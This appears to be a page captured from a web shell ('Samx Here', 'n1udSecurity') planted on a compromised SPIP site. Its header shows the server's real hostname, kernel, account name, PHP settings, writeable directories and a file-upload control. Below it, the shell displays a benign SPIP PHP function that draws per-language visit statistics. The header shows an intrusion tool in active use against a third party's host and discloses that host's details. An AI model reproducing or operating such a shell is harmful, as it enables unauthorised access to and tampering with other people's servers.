Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/unienfants/plugins-dist/statistiques/prive/squelettes/contenu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/unienfants/plugins-dist/statistiques/prive/squelettes/contenu/stats_lang_fonctions.php
<?php

/***************************************************************************\
 *  SPIP, Système de publication pour l'internet                           *
 *                                                                         *
 *  Copyright © avec tendresse depuis 2001                                 *
 *  Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribué sous licence GNU/GPL.     *
\***************************************************************************/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

include_spip('inc/presentation');

function affiche_stats_lang($critere) {
	$pourcent = null;
	global $spip_lang_right;

	$taille = 450;
	//
	// Statistiques par langue
	//

	$out = '';
	$r = sql_fetsel("SUM($critere) AS total_visites", 'spip_articles');

	$visites = 1;
	// attention a '0.0'
	if ($r and $r['total_visites'] > 0) {
		$total_visites = $r['total_visites'];
	} else {
		$total_visites = 1;
	}

	$result = sql_select('lang, SUM(' . $critere . ') AS cnt', 'spip_articles', "statut='publie' ", 'lang');

	$out .= "\n<table cellpadding='2' cellspacing='0' border='0' width='100%' style='border: 1px solid #aaaaaa;'>";
	$ifond = 1;

	$visites_abs = 0;
	while ($row = sql_fetch($result)) {
		$lang = $row['lang'];
		if ($row['cnt']) {
			$visites = round($row['cnt'] / $total_visites * $taille);
			$pourcent = round($row['cnt'] / $total_visites * 100);
		}

		if ($visites > 0) {
			if ($ifond == 0) {
				$ifond = 1;
				$couleur = 'white';
			} else {
				$ifond = 0;
				$couleur = 'eeeeee';
			}

			$out .= "\n<tr style='background-color: $couleur'>";
			$dir = lang_dir($lang, '', ' dir="rtl"');
			$out .= "<td style='width: 100%; border-bottom: 1px solid #cccccc;'><p $dir><span style='float: $spip_lang_right;'>$pourcent%</span>" . traduire_nom_langue($lang) . '</p></td>';

			$out .= "<td style='border-bottom: 1px solid #cccccc;'>";
			$out .= "\n<table cellpadding='0' cellspacing='0' border='0' width='" . ($taille + 5) . "'>";
			$out .= "\n<tr><td style='align:$spip_lang_right; background-color: #eeeeee; border: 1px solid #999999; white-space: nowrap;'>";
			if ($visites_abs > 0) {
				$out .= "<img src='" . chemin_image('rien.gif') . "' width='$visites_abs' height='10' alt=' ' />";
			}
			if ($visites > 0) {
				$out .= "<img src='" . chemin_image('rien.gif') . "' class='couleur_langue' style='border: 0px;' width='$visites' height='8' alt=' ' />";
			}
			$out .= "</td></tr></table>\n";

			$out .= '</td>';
			$out .= '</tr>';
			$visites_abs += $visites;
		}
	}
	$out .= "</table>\n";

	return $out;
}

SAMX